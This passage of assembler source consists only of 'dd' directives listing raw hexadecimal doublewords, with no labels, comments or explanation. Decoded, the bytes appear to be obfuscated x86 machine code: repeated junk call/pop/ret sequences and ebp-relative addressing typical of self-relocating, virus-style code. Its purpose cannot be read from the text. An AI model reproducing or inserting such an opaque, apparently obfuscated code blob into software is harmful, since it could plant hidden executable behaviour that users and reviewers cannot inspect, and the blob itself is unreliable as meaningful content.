		dd 1180h, 0F79958Bh, 0BD8306A8h, 6A81FE5h, 0E850F00h, 23000000h
		dd 0A8215195h, 5FE906h,	0B70F0000h, 3E83D1h, 53840Fh, 0B5890000h
		dd 6A82A81h, 0B98D8960h, 6A06A819h, 65952314h, 0FF06A816h
		dd 0A81B3195h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 50184D88h, 0B49BD89h
		dd 316106A8h, 0A80FAD8Dh, 0FFABE906h, 0BB50FFFFh, 69F824CCh
		dd 106C75Ah, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 894EC355h, 0D57CA95h
		dd 97312284h, 0BD83D88Bh, 6A84F56h, 0DF850F05h,	8B000000h
		dd 0A833199Dh, 81B58B06h, 6A06A800h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 87F3C352h
		dd 8CC48EEBh, 51D958Bh,	64B906A8h, 0B7000000h, 358D8966h
		dd 8006A833h, 840FE83Eh, 38h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 55C35040h, 119589B8h, 0E906A817h
		dd 22h,	0BE9h, 0D5962F00h, 9E3B5BEAh, 0D4BD8B9Eh, 0C2057E80h
		dd 4C840Fh, 23510000h, 0A8338995h, 6A465A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 2E5DC356h, 664C50E3h, 4983D9BAh, 0FF81850Fh,	0CE9FFFFh
		dd 59000000h, 4F09FA41h, 702715B7h, 0E98A35FCh,	0Ah, 0B589D38Bh
		dd 6A81995h, 6A5843B6h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0DD46C357h,	9185896Dh
		dd 2906A81Bh, 0A8159D8Dh, 0C5BD8306h, 6A828h, 19C840Fh
		dd 89530000h, 0A80F1D85h, 89605A06h, 0A833F985h, 0D585C606h
		dd 5406A815h, 8850Fh, 0F510000h, 83h, 63685A00h, 8BE542D0h
		dd 243481D6h, 1A0C6E97h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 91C35545h, 0C88B4B24h, 0E2C35B52h, 0AAD8589h
		dd 0B5FF06A8h, 6A80F95h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 57C35747h, 8DF5C841h,	0AB697185h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 23431125h, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 95E6DCC3h, 0A5E59D91h, 6830FD5h
		dd 8B000000h, 0A8171195h, 0BE666006h, 8B0F2C0Bh, 4, 385FB866h
		dd 6A006A61h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 443BC355h, 0AE9h, 9AFF3A00h, 0B406547Ch
		dd 0FF37877Fh, 0A828C5B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0F9650019h
		dd 0EB196865h, 0D0FF3EE8h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0B0C35040h, 25875D13h, 0FF9DA0Dh, 1683h
		dd 11E900h, 0A67C0000h,	0BD3E25AEh, 5166AEA9h, 84BF0C27h
		dd 6137CE54h, 0BE8h, 0E61ADE00h, 0DFF242CBh, 0B47B31DEh
		dd 525BDF8Bh, 0E6EA8166h, 85C75A69h, 6A80C91h, 1, 0FE8h
		dd 85BCF900h, 2400D289h, 0CA2E7248h, 4F4BC92h, 0CE8h, 0FA6F9B00h
		dd 38420937h, 4911CB6Bh, 9D85318Dh, 5B06A81Dh, 0F381605Ah
		dd 3A3CDF7Bh, 26DCD068h, 2434811Dh, 1D26DC50h, 0CE9h, 0D64B2100h
		dd 0C951B001h, 2497DC9Eh, 51FF6A01h, 5860Fh, 81660000h
		dd 5A287DF2h, 9019D09h,	95FF06A8h, 6A80F89h, 1EA99503h
		dd 576106A8h, 5B5DB653h, 0B650905Bh, 8B609037h,	0A82B0D85h
		dd 0BE906h, 48BC0000h, 1E48201Ah, 2A3A9EFFh, 858B61E4h
		dd 6A82EE1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	99C35141h, 58C6FA3Ch, 0B1D12BAh, 3A840FC0h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 62BEC356h, 4F85521Ah, 0D88AD773h,	0BAFAF381h
		dd 0DA804E22h, 6995FF5Dh, 8906A802h, 0A805DDBDh, 7585C706h
		dd 106A82Ch, 0F000000h,	787h, 0C4BB5700h, 5A762CDAh, 1A89BD83h
		dd 0F0006A8h, 6584h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0E84E2D1Dh, 0Eh, 0A9C3386Ah
		dd 7C3F52A4h, 9FBB0B8Bh, 85096748h, 6A829D9h, 195FF5Bh
		dd 6A06A82Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0AD7CC352h, 2E454A89h,	321D9D01h
		dd 0BD8306A8h, 6A82085h, 32840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 54B6C351h, 9C0A7E40h, 24BB6638h, 0B195FF40h,	8B06A821h
		dd 0A81EDD95h, 2DBD8306h, 6A801h, 2A840Fh, 9D230000h, 6A814DDh
		dd 6D9BD83h, 0F0006A8h,	1785h, 0EB816600h, 95FF99E4h, 6A82789h
		dd 7E9h, 0F3F26E00h, 12A9A9FEh,	1775BD83h, 0F0006A8h, 1F84h
		dd 1D9D2300h, 8106A806h, 0A807B585h, 400306h, 8148B600h
		dd 0A80FD585h, 400306h,	1CEA8000h, 9589310Fh, 6A82B69h
		dd 5F128D8Dh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 5246F5C3h
		dd 2C1D19h, 12E8h, 5F6A4600h, 0ABC65F88h, 0BBDD5CF6h, 0E5E49939h
		dd 0B25B3B06h, 1895BDEh, 0E658589h, 0C23306A8h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 31C35545h, 0DF7060E1h
		dd 9CA288CCh, 5BD78B51h, 44189F9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 7CC35646h, 8FD0DA81h, 0BDBA7BE4h
		dd 0F229A2Bh, 44F28131h, 8D630211h, 0A85F1E8Dh,	898D8906h
		dd 8906A831h, 0E9B58901h, 3306A810h, 44189C2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 81C35242h, 9EC3A50h
		dd 74D48079h, 0BD83B5B3h, 6A80FC5h, 39840F00h, 60000000h
		dd 5E8h, 66995B00h, 0BF0F8D9Ah,	0CE85BD2h, 3A000000h, 6AED6799h
		dd 0B4AC1034h, 0B996191Dh, 3226E564h, 9D8B615Ah, 6A81FF9h
		dd 31BD95FFh, 9D8906A8h, 6A81F81h, 209DBD83h, 0F0106A8h
		dd 6285h, 0FD958B00h, 0E906A831h, 57h, 0EE9h, 4A130700h
		dd 5067A6B7h, 0DF56EE20h, 89CABF92h, 0A819A995h, 72B58B06h
		dd 0C706A860h, 6, 17B58B00h, 0C706A85Eh, 6, 9503CF00h
		dd 6A80AB5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	2DC35141h, 8324B3A0h, 0A82C75BDh, 840F0006h, 0DDh
		dd 343D8589h, 0BD8306A8h, 6A8154Dh, 0B7850F01h,	8B000000h
		dd 0A8157D9Dh, 4A8D8B06h, 0F06A84Fh, 380h, 0FCE78000h
		dd 6A0001C6h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 17CC356h, 21FB761Eh, 9D8B99B2h
		dd 6A80F31h, 3860F60h, 66000000h, 6568D08Bh, 8A2344DFh
		dd 243481F0h, 2344DFE5h, 71958956h, 5A06A82Dh, 0EDB6FF6Ah
		dd 0F8995FFh, 80B606A8h, 0AE861h, 30B20000h, 0B098BBF6h
		dd 85249BCEh, 95FF5BFCh, 6A81E89h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0AAC35646h,	0DDB77771h, 4F4A8D8Bh
		dd 0DB8106A8h, 1E2D8BB5h, 0BB6601FEh, 0BD8312CEh, 6A80569h
		dd 6850F01h, 8B000000h,	0A8029995h, 6AC08B06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 47DCC353h, 0D7805765h, 880F5A9Dh, 0
		dd 1ED9BD83h, 750006A8h, 0E9BD8309h, 6A82Dh, 53501A74h
		dd 858BC08Bh, 6A807B5h,	7B58589h, 9D8D06A8h, 6AAA1ACh
		dd 585BD3FFh, 2DE9BD83h, 740006A8h, 8B535018h, 0A807B585h
		dd 0B5858906h, 8D06A807h, 0AA9E9B9Dh, 5BD3FF06h, 8BDA8A58h
		dd 0A82ECD9Dh, 8BC08B06h, 0A8174D95h, 75BD8306h, 6A82Ch
		dd 19850Fh, 9D230000h, 6A80565h, 1655BD83h, 0F0006A8h
		dd 684h, 59BD8900h, 8306A81Ah, 0A82C75BDh, 840F0006h, 46h
		dd 83D98B66h, 0A830B1BDh, 840F0006h, 36h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 0DC35040h, 52941F4Eh
		dd 603C9F8Fh, 0F281D68Bh, 711820DDh, 38A0F61h, 80000000h
		dd 0BD8322CEh, 6A82C75h, 25840F00h, 80000000h, 10BBCCD3h
		dd 8338BF7Ah, 0A830B1BDh, 840F0006h, 10h, 0B19D8960h, 8B06A807h
		dd 0A801AD85h, 0FDB36106h, 2C75BD83h, 0F0006A8h, 4284h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 25198A14h, 0C2B03CAFh, 88B0Fh, 8B530000h
		dd 0A802D195h, 0BD835B06h, 6A81005h, 4840F00h, 66000000h
		dd 839CBCBBh, 0A82C75BDh, 840F0006h, 23h, 83D8B70Fh, 0A82279BDh
		dd 840F0006h, 13h, 20A18D89h, 0E38006A8h, 4D95FF03h, 6606A800h
		dd 8B3EAABAh, 83AEB7C0h, 0A81ED9BDh, 9750006h, 2DE9BD83h
		dd 740006A8h, 8B53501Ah, 0D5858BC0h, 8906A80Fh,	0A80FD585h
		dd 139D8D06h, 0FF06AAA2h, 83585BD3h, 0A82DE9BDh, 18740006h
		dd 858B5350h, 6A80FD5h,	0FD58589h, 9D8D06A8h, 6AA9EB4h
		dd 585BD3FFh, 0FE9h, 8795A400h,	8291402Dh, 8EB2A3D7h, 0F9D433ADh
		dd 28E0Fh, 0D98B0000h, 0C08B52B2h, 9B87F381h, 0BD836E4Bh
		dd 6A82C75h, 0C7840F00h, 0E9000003h, 5,	84194BE2h, 35BD83FEh
		dd 206A80Eh, 6A840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0E9F08FC3h, 12h, 7AB0A4D7h
		dd 2ED8F123h, 3CF504B0h, 3115F136h, 0BD8373E0h,	6A8209Dh
		dd 29850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0EAFCC353h,	6800Fh
		dd 0C2810000h, 665C962Bh, 8D8BFC60h, 6A84F4Ah, 1AD1958Bh
		dd 1FE06A8h, 0B6D8589h,	4E806A8h, 80000000h, 0BA000000h
		dd 14012066h, 52505650h, 310F5A52h, 780ABB66h, 8B5A585Ah
		dd 8B042444h, 66008BDAh, 4489DE8Bh, 0D08B0424h,	68E0F58h
		dd 9000000h, 0A8076995h, 0FFF6A06h, 8B66D9B7h, 8995FFD6h
		dd 0FC06A80Fh, 0DE861h,	0ED270000h, 0CAD85D2Ah,	2973C91Ch
		dd 801495BBh, 8D5ABCF7h, 0A82815BDh, 51958B06h,	8B06A801h
		dd 81661C4Fh, 6A4170EBh, 57006A01h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 618D097Dh, 6606A80Ah
		dd 0E991D08Bh, 13h, 28F0D157h, 68974083h, 0C7B7215Bh, 89D86204h
		dd 509FE5CFh, 0F8D0Fh, 0AE90000h, 0F000000h, 9C11D44Bh
		dd 0DCB05669h, 6A9161h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 119C59C3h, 858DC874h, 6AB2EF3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 4FC35040h
		dd 0DD9D0365h, 0FF06A814h, 56006AD0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 75743C53h
		dd 0EFF6FC5Bh, 204F8B5Ch, 6A036AFCh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 1C3DC356h
		dd 0E23225AAh, 867EA415h, 1ED1BD89h, 0BA5006A8h, 4DE02CBCh
		dd 52240C89h, 13E8h, 0E56F4C00h, 0A6108E7Fh, 22D3797Ah
		dd 7D1A4F36h, 6E7CF474h, 810Fh,	5B5B0000h, 2EF3858Dh, 12E906ABh
		dd 98000000h, 0DCEC3FC2h, 2984429Dh, 3A045F96h,	0AA9F0D28h
		dd 0E8D0FFE6h, 0Eh, 0F7805257h,	0B9928945h, 90C5CA93h
		dd 5BFC36C6h, 2815BD8Dh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0DA9C4CC3h, 29BC7D12h
		dd 0E8C0BC9Eh, 8, 0C262563Bh, 0BED7B731h, 16F99503h, 8B5B06A8h
		dd 8B661C4Fh, 0E9016ADAh, 0Bh, 9719FC34h, 11DDA27Bh, 5064126Bh
		dd 5AD88A56h, 6A240C89h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0D588C357h,	5A15606Ch
		dd 2EF3858Dh, 0DA8106ABh, 59C38082h, 6E9D0FFh, 46000000h
		dd 31773376h, 204F8BD2h, 33099D8Bh, 36A06A8h, 5050D08Bh
		dd 0BA310F52h, 48EC85EFh, 0C89585Ah, 258D3124h,	8D06A82Eh
		dd 0AB2EF385h, 8B666006h, 0FE8F7h, 0E6AC0000h, 5B0330E5h
		dd 76D22F72h, 37DB27h, 800FD3h,	5F000000h, 66D0FF61h, 8BB69EBAh
		dd 0A82AAD9Dh, 4A8D8B06h, 8B06A84Fh, 0A81E199Dh, 8B01FE06h
		dd 0A81E2595h, 4A858B06h, 8B06A84Fh, 0A80DC995h, 900FE06h
		dd 0A806B5BDh, 53016A06h, 5E9h,	0D80FEC00h, 685AA7ECh
		dd 0CD356574h, 481D38Ah, 0CA3A8B24h, 8DD2B232h,	0AB2EFD85h
		dd 119D8906h, 0FF06A810h, 52006AD0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0FC485EA2h
		dd 46FEBAADh, 0BD8375FCh, 6A81655h, 0B840F00h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8A79C352h, 9DBD83DEh, 106A833h, 0E0850Fh
		dd 0DE90000h, 0E000000h, 4D7100A5h, 5AE8E707h, 445105E7h
		dd 2F078D8Dh, 0BF0F06ABh, 6A036ADBh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 171EC357h
		dd 9E5D6819h, 6A016A88h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 81F1C356h, 93CF64Bh
		dd 0FF9E6129h, 0F3C780D1h, 8166016Ah, 813C97C2h, 8C86F2F2h
		dd 6A016A57h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 19C7C357h, 0F5CD5F8h, 680h, 19B58900h
		dd 0E906A81Eh, 0Bh, 0CB102966h,	0F0CDB944h, 0F83728F4h
		dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 7294FFC3h, 0D18B3A82h, 0B36DBAE8h, 206AFCF9h
		dd 0F4DA8166h, 89FF6A2Bh, 0A824E58Dh, 8995FF06h, 8906A80Fh
		dd 0A80E6595h, 0B806h, 0C00B0000h, 32840Fh, 12E90000h
		dd 0A9000000h, 298C87FEh, 9F761A8Eh, 158139Dh, 21EA1BA2h
		dd 41BD83B0h, 6A825h, 0E840Fh, 0D08A0000h, 1ADD95FFh, 858906A8h
		dd 6A82B9Dh, 0D19858Bh,	0BEB206A8h, 600000C6h, 2DB50160h
		dd 3306A815h, 0A801BD8Dh, 0BE666106h, 58612A51h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2FC35343h, 863B23E4h
		dd 14E852h, 62180000h, 0B25D74E4h, 0F42F84F8h, 0D875BBC9h
		dd 983BCDF2h, 5BF51C30h, 48B0F5Ah, 66000000h, 60335BBBh
		dd 0FBC08166h, 29958BE9h, 6106A815h, 8BD98C66h,	0A82ABD95h
		dd 4C1F606h, 3C840Fh, 8D090000h, 6A81579h, 31E9h, 858B6000h
		dd 6A801F1h, 2800Fh, 0FE8A0000h, 25B58B61h, 8006A807h
		dd 0BF0FD4E6h, 80C681D9h, 0F000011h, 6C7DAB7h, 0
		dd 0E51BD89h, 895E06A8h, 0A82F65BDh, 0F88306h, 0B0E840Fh
		dd 85890000h, 6A81B2Dh,	2F1958Bh, 0F88306A8h, 7C850F01h
		dd 8A000001h, 0B8F4h, 13E90000h, 90000000h, 0CDB77789h
		dd 0A8F1932Eh, 9E604F5Ch, 1DE7A2D5h, 0C00B129Ah, 0FE840Fh
		dd 8B660000h, 1F883D3h,	109840Fh, 31600000h, 0A826B19Dh
		dd 0DE906h, 0CC810000h,	9D41320Ah, 9E127515h, 61718157h
		dd 0F03F883h, 8B84h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0F07FC1Ah, 889h, 8B666000h
		dd 0CE8B66F7h, 89C02B61h, 0A834D5BDh, 0E0BD8D06h, 6A005B89h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 125BC351h, 681BD834h, 81D8BF0Fh, 0DA7511CAh
		dd 6AE7FF47h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 833CC351h, 0BA0B5AB4h,	71AE1E72h
		dd 1B8h, 0DD958B00h, 8D06A80Dh,	5B89E0BDh, 0C3816600h
		dd 0E7FF7DEAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	4EC35646h, 6003F3ADh, 14559D09h, 0F1BB06A8h, 6113A3A1h
		dd 45D6BD8Dh, 9D8B06A8h, 6A81609h, 26CE9h, 71958B00h, 0C706A817h
		dd 0A84FA585h, 506h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 7F5403DBh, 0DA42A367h
		dd 5B8h, 659D8B00h, 0E906A802h,	8FBh, 83D7B70Fh, 850F02F8h
		dd 0DEh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	44C35747h, 2AFE02h, 0D262860Ch,	4BDB8166h, 0B8D5h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 410747C3h, 39668698h, 336D958Bh, 0C00B06A8h
		dd 60840Fh, 8E90000h, 95000000h, 0E2212C4Ch, 83DC1662h
		dd 840F01F8h, 0FFFFFF43h, 8E857h, 68370000h, 0F74023FBh
		dd 61601285h, 0F8835B5Bh, 0CD840F03h, 89FFFFFEh, 0A80CC59Dh
		dd 89C02B06h, 0A807ED85h, 0E0BD8D06h, 66005B89h, 5AA5DB81h
		dd 0F60E7FFh, 683h, 79BD8B00h, 6106A809h, 2F519589h, 0BD8D06A8h
		dd 6A847CEh, 10BD9D89h,	4EE906A8h, 0E9000001h, 0Ah, 2C4B2726h
		dd 0A75B3616h, 0F8832057h, 61850F03h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0DF4BC350h, 89319271h, 0A807C98Dh, 89515706h, 0A819F9BDh
		dd 8D5B5A06h, 0A84962BDh, 0DBBF0F06h, 0F8E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BD89046Ah, 6A8165Dh, 0F05F883h, 3085h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 940550F2h, 30959D8Bh, 74E906A8h, 8B000007h, 0A8094D95h
		dd 6F88306h, 24850Fh, 0DA800000h, 1DBD89DBh, 8D06A816h
		dd 0A84B5ABDh, 0B7D98B06h, 7BE9B3h, 880F0000h, 6, 0AB6CD381h
		dd 0F88370E7h, 2C850F07h, 0F000000h, 1882h, 0FE800h, 48870000h
		dd 0EAE498FFh, 4BA77F94h, 964B61ACh, 0D6BF0F99h, 0DDBD8D5Ah
		dd 8B06A822h, 0C3E9D9h,	83F80000h, 850F0AF8h, 31h, 8DD3B70Fh
		dd 0A84D52BDh, 0BE906h,	0B0920000h, 8370F458h, 73B43AC8h
		dd 13E92Ah, 0F600000h, 28Ch, 0FF18B00h,	38Bh, 9DD68000h
		dd 5E95761h, 82000000h,	0C894780h, 40254CB9h, 0EE92Fh
		dd 0DA930000h, 2B9A2CCFh, 88B99944h, 46BB64E9h,	0F003F83h
		dd 5284h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 547F0BFFh, 8B66141Bh, 0F0F30D8h
		dd 0FE9D3B7h, 74000000h, 0A6F3BA9Bh, 0D71C02Bh,	46716B6Eh
		dd 0C9D15816h, 32A59D8Bh, 574706A8h, 0A9E95AFCh, 66FFFFFFh
		dd 5F9074BAh, 893DDF80h, 0A833A19Dh, 4EBD8906h,	0B306A84Fh
		dd 0D18D8DC3h, 6A06A826h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0D58FC351h,	8D755E19h
		dd 0F81545DBh, 81B5FFh,	0BD0906A8h, 6A82571h, 9B7C858Dh
		dd 8D5006AAh, 0A8566CBDh, 918D8D06h, 0B806A86Eh, 54831ABCh
		dd 730CF2Bh, 4947C8D0h,	0B58DF875h, 6A86E2Eh, 6EA98D8Dh
		dd 0CF2B06A8h, 0C933A4F3h, 0B8h, 74C00B00h, 41BD8346h
		dd 6A825h, 95FF0674h, 6A81ADDh,	4F4EB58Bh, 858D06A8h, 6AA9B7Ch
		dd 858DD0FFh, 6A843ABh,	85C7D0FFh, 6A81599h, 1,	3469A58Bh
		dd 0B58B06A8h, 6A832BDh, 225DAD8Bh, 0C03306A8h,	60000CC2h
		dd 23D2D080h, 0A8340585h, 8F0F6106h, 2,	0BD83C1B7h, 6A81BFDh
		dd 10840F00h, 0BA000000h, 493F2183h, 1B4D95FFh,	816606A8h
		dd 839124C2h, 0A81FE5BDh, 850F0006h, 1BCh, 8369EE80h, 0A8339DBDh
		dd 850F0106h, 1ACh, 93D958Bh, 0BD8306A8h, 6A8162Dh, 99840F00h
		dd 0F000001h, 0BD83DBB7h, 6A84FA1h, 89840F00h, 81000001h
		dd 94F3ADCAh, 7C858D47h, 6606AA9Bh, 8B55B9BBh, 0A84F4EB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 9796D125h, 0F2C38166h, 6AD0FF54h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 3C6CC353h, 6DCE6A5Fh, 840F131Ah, 2, 85C6FD8Ah, 6A815D5h
		dd 0D6BF0F54h, 0A23FB468h, 0E85250E4h, 0Dh, 0B4FE0463h
		dd 462A6C97h, 6EBA3CD9h, 0CE9DAh, 0A2AD0000h, 26E484CFh
		dd 40AA2950h, 0F5A2974h, 8832BB31h, 585A6F07h, 40240481h
		dd 6A1AAC7Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 5EC4C353h, 2D31D8BAh, 0E98E6DFAh
		dd 0Bh,	6AFBC1A9h, 0D4A3E132h, 66A58629h, 7B59C281h, 31F9B5FFh
		dd 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0AA9200C3h, 0BA16A8DBh, 1E2D958Bh, 858D06A8h
		dd 6A83AC3h, 19E19531h,	0D0FF06A8h, 3191958Bh, 6A06A8h
		dd 68E0Fh, 958B0000h, 6A820E1h,	8D89FF6Ah, 6A817F9h, 1B34F0BAh
		dd 80D0FF60h, 0B5FF84C7h, 6A830BDh, 0FE8h, 77191C00h, 67AF1647h
		dd 0D0BFF893h, 0A76ABEDBh, 0CE9h, 0B3B0D300h, 986F29DFh
		dd 7FD7CE34h, 95FF5B80h, 6A80081h, 0BE9h, 0A2B8000h, 267DACA7h
		dd 9400E2DFh, 4F4EB58Bh, 13E906A8h, 0FA000000h,	1E008CD0h
		dd 4E49E0A7h, 0CFF130E3h, 12217CDDh, 80C35492h,	8C0F78DEh
		dd 5, 87CB8166h, 19B58B58h, 8006A80Dh, 0F60B5BEAh, 3D840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 5EBB1CC3h, 258A1867h, 0E5BB24D2h,	0C635EE8Fh
		dd 0E2800006h, 9D896047h, 6A82165h, 999531h, 896106A8h
		dd 0A84F5685h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 520F86A3h, 978CD528h
		dd 0DE95814h, 0FE000000h, 77B20230h, 7F8ACA36h,	13C4339Dh
		dd 1FE1958Bh, 0F88306A8h, 4D840F00h, 0E8000003h, 0Ch, 4CF07563h
		dd 257305B9h, 0E0204261h, 2F359D8Bh, 0B85B06A8h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0AAC35646h
		dd 8E934h, 0E1250000h, 966C438Ch, 0F8839A44h, 0C0840F00h
		dd 80000000h, 0F8839DDBh, 61850F02h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8D7AC355h, 0A845D185h, 810F5106h, 2,	2D5BD68Bh, 929h
		dd 0CE19D8Bh, 665006A8h, 489D88Bh, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0BBC3B6DCh
		dd 3083827Ah, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 958995E5h, 6A802B1h, 263E9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 83CE28D5h, 0DBD898Eh, 0B806A811h, 1, 4810Fh
		dd 51600000h, 0BD8D615Eh, 6A845D6h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 21C35545h, 2179184Ch, 65310065h
		dd 0CF19D8Bh, 0D9E906A8h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0CF9EC352h
		dd 0AD4039A0h, 8B571085h, 0A82D7995h, 2F88306h,	22850Fh
		dd 85890000h, 6A82CADh,	47CEBD8Dh, 9D8B06A8h, 6A806CDh
		dd 0E9D2B70Fh, 8Ch, 8D8946B7h, 6A82C79h, 0F03F883h, 2085h
		dd 49958B00h, 8D06A827h, 0A84962BDh, 60506006h,	0EE805E61h
		dd 61E961ABh, 8B000000h, 0A800399Dh, 5F88306h, 52850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0F4DE18C3h, 968ACBAEh, 0F5958BBAh, 0E906A829h
		dd 0BFh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0E8C35646h, 805F722Bh, 0BB5B6ABAh, 254CB957h, 6A2F40h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 9189E2C3h, 90CDD929h, 3F83C59Eh, 68840F00h, 8B000000h
		dd 0A82E4195h, 890F3006h, 0A83191BDh, 8D858906h, 0D106A817h
		dd 53006AC9h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0CA8113FEh, 4F592CC1h, 56006A47h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 68400E4Dh, 0F30216Ah, 0FF94E95Ch, 8053FFFFh,	835BDFF7h
		dd 850F05F8h, 7Ch, 0E0EA8166h, 0D98C6677h, 10E9h, 0F4FD1000h
		dd 0B8881287h, 2C4FF843h, 50D47C1Ah, 4C1F697h, 42850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 201C93C3h, 2BCDE2FAh, 0FC3C71A1h,	34F19D8Bh
		dd 0B806A8h, 8B000000h,	0A831D99Dh, 1AE906h, 9D0B0000h
		dd 6A814B5h, 1995858Bh,	958906A8h, 6A82CDDh, 8589E0FFh
